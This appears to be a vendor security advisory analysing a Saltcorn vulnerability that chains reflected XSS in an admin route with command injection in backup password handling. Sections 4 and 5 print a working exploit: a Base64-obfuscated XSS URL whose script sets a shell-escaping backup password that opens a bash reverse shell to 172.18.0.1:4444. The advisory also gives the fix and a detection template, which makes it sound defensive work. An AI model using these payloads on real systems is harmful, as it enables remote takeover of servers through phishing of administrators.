Security

GHSA-cr3w-cw5w-h3fj: 1-Click RCE in Saltcorn

Analysis of GHSA-cr3w-cw5w-h3fj, a CVSS 9.7 critical XSS-to-RCE vulnerability in Saltcorn (≤ 1.5.0-beta.19). Two chained flaws, reflected XSS in route parameters and command injection in backup generation, enable remote code execution via administrator phishing.

Wed 11 March 2026

GHSA-cr3w-cw5w-h3fj

1-Click RCE in Saltcorn February 24, 2026 · CVSS 9.7 Critical · Saltcorn ≤ 1.5.0-beta.19

CVE CVSS Affected Fixed
Not assigned 9.7 Critical ≥ 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19+

1. Technical Overview: XSS-to-RCE Exploit Chain in Saltcorn

Saltcorn is an open-source, database-first web app builder with an admin UI for page/code editing, backups, and system management.

GHSA-cr3w-cw5w-h3fj is critical not because of a single bug, but because it chains two vulnerabilities:

  • Reflected XSS in parameter rendering
  • Command injection in backup command construction

Individually, each flaw creates security risk. Combined, they allow an attacker to execute operating system commands when an administrator opens a specially crafted link.


2. Reflected XSS in Route Parameters

In vulnerable versions through 1.5.0-beta.19, the route parameter name flows directly into send_admin_page() as sub2_page and page_title without HTML escaping.

Vulnerable code pattern:

router.get(
  "/edit-codepage/:name",
  isAdmin,
  error_catcher(async (req, res) => {
    const { name } = req.params;  // raw user input, no sanitization
    // ...
    send_admin_page({
      res,
      req,
      page_title: req.__(`%s code page`, name),  // unescaped
      sub2_page:  req.__(`%s code page`, name),  // unescaped → breadcrumb
      // ...
    });
  })
);

send_admin_page() calls send_settings_page() in packages/server/markup/admin.js, which places sub2_page verbatim as the text of the last breadcrumb node:

// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
  above: [
    {
      type: "breadcrumbs",
      crumbs: [
        { text: req.__("Settings"),   href: "/settings" },
        { text: req.__(active_sub),   href: "..." },
        ...(sub2_page
          ? [{ text: sub2_page }]  // ← name value inserted here, no escaping
          : [])
      ],
    },
    // ...
  ],
});

res.sendWrap() renders sub2_page as raw HTML inside an \<a> tag. Any HTML in name executes in the browser.

Because name flows into rendered UI text without sanitization, an attacker-controlled value becomes executable HTML/JavaScript.

Example malicious request:

GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

XSS payload demonstration

Rendered output in vulnerable versions:

... <a> <img src=x onerror=alert(document.domain)> code page </a> ...

3. Command Injection in Backup Password Handling

The second vulnerability exists in backup generation, where a shell command is constructed using string interpolation and then executed.

Vulnerable pattern (backup.ts):

const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });

backup_password is injected directly into a shell command string. A malicious value can break out of the -P "..." context and append shell syntax.

Example malicious password:

";$(id);#

Resulting command execution:

zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .

This leads to arbitrary command execution in the server context when backup is triggered.

Backup settings interface


4. End-to-End Exploitation: Chaining XSS and Command Injection

Exploitation requires two components: a weaponized payload embedded in a phishing page, and social engineering to deliver it to an authenticated administrator.

Step 1: Command Injection Payload

fetch('/admin/backup')
  .then(r => r.text())
  .then(html => {
    var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
    fetch('/admin/set-backup-prefix', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
    }).then(() => 
      fetch('/admin/backup', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: '_csrf=' + c
      })
    )
  });

The backup_password parameter contains a URL-encoded shell escape. After decoding, it translates to:

";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"

Server Execution Context:

zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .

Step 2: XSS Payload

The malicious URL from the phishing page embeds a multi-layer payload using Base64 encoding to bypass simple filters:

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E

Decoded XSS Payload:

<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>

5. Proof of Concept: End-to-End XSS-to-RCE Exploitation

This proof of concept demonstrates a full XSS-to-RCE exploitation chain against a vulnerable saltcorn/saltcorn:1.4.1 deployment, resulting in remote command execution via a malicious admin-side payload.

version: '3'
services:
  postgres:
    image: postgres:15
    environment:
      POSTGRES_USER: saltcorn
      POSTGRES_PASSWORD: saltcorn
      POSTGRES_DB: saltcorn
    volumes:
      - postgres-data:/var/lib/postgresql/data

  saltcorn:
    image: saltcorn/saltcorn:1.4.1
    ports:
      - "3000:3000"
    environment:
      PGHOST: postgres
      PGUSER: saltcorn
      PGPASSWORD: saltcorn
      PGDATABASE: saltcorn
      PGPORT: 5432
      SALTCORN_SESSION_SECRET: fixedsecret
    volumes:
      - saltcorn-data:/home/saltcorn/.config/saltcorn
    depends_on:
      - postgres
    command: serve

volumes:
  postgres-data:
  saltcorn-data:

Execution Flow:

  • Attacker Terminal: A listener is established to receive the reverse shell.

Attacker terminal with listener

  • Victim Action: The administrator clicks the malicious link.

Admin interface vulnerable endpoint

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
  • Reverse Shell Established: The entire chain executes in under 2 seconds, providing the attacker with remote access.

Reverse shell established

The process is nearly invisible to the administrator, appearing only as a brief browser navigation.

Impact
Once command execution is achieved, the attacker can:
• Read application secrets and configuration
• Persist backdoors
• Pivot into connected services
• Compromise integrity and availability

6. The Fix: Patch and Mitigation in Saltcorn 1.5.0

Saltcorn version 1.5.0 addresses both vulnerabilities independently. Implementing either fix alone is sufficient to break the exploit chain.

Fix 1: Input Escaping

Escape route/query params before downstream rendering.

const escape_param = (obj) => {  
  const out = {};
  for (const [k, v] of Object.entries(obj))
    out[k] = typeof v === "string" ? text(v) : v;  
  return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);

Fix 2: Secure Command Execution

Replace exec(string) with spawn(binary, args) and pass password as a normal argument (no shell interpolation):

const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });

This removes the shell string injection primitive.


7. Detecting Saltcorn XSS-to-RCE with Ostorlab KEV

GHSA-cr3w-cw5w-h3fj (Saltcorn XSS-to-RCE chain) is covered in Ostorlab's Known Exploited Vulnerabilities (KEV) detection suite. The KEV agent group performs automated scanning across exposed services at scale, orchestrating tools such as Nmap, Tsunami, Asteroid, Nuclei, and Metasploit under a unified workflow.

The Nuclei Template

A dedicated Nuclei template was developed for this advisory and added to the KEV repository.

Unlike intrusive exploit validation, this template performs safe reflection-based detection without authentication:

  • GET request to /page/sc\<xss\>nuclei — injects angle brackets into a public route parameter.
  • Body match check — verifies the payload sc\<xss\>nuclei is reflected unencoded.
  • Negative match check — ensures the encoded form sc&lt;xss&gt;nuclei does not appear.
  • Saltcorn fingerprinting — confirms presence via _sc_version_tag marker.

Detection requires all matcher conditions to succeed: reflection present, encoding absent, and Saltcorn identified.

The template confirms the vulnerable XSS primitive that enables the command-injection chain, without triggering backups or executing commands.

The full template is available in the Ostorlab KEV repository at: github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml


References

Resource Link
GitHub Advisory https://github.com/advisories/GHSA-cr3w-cw5w-h3fj
Saltcorn Repository https://github.com/saltcorn/saltcorn
Fix Commit https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5
Vulnerable Snapshot https://github.com/saltcorn/saltcorn/commit/020893c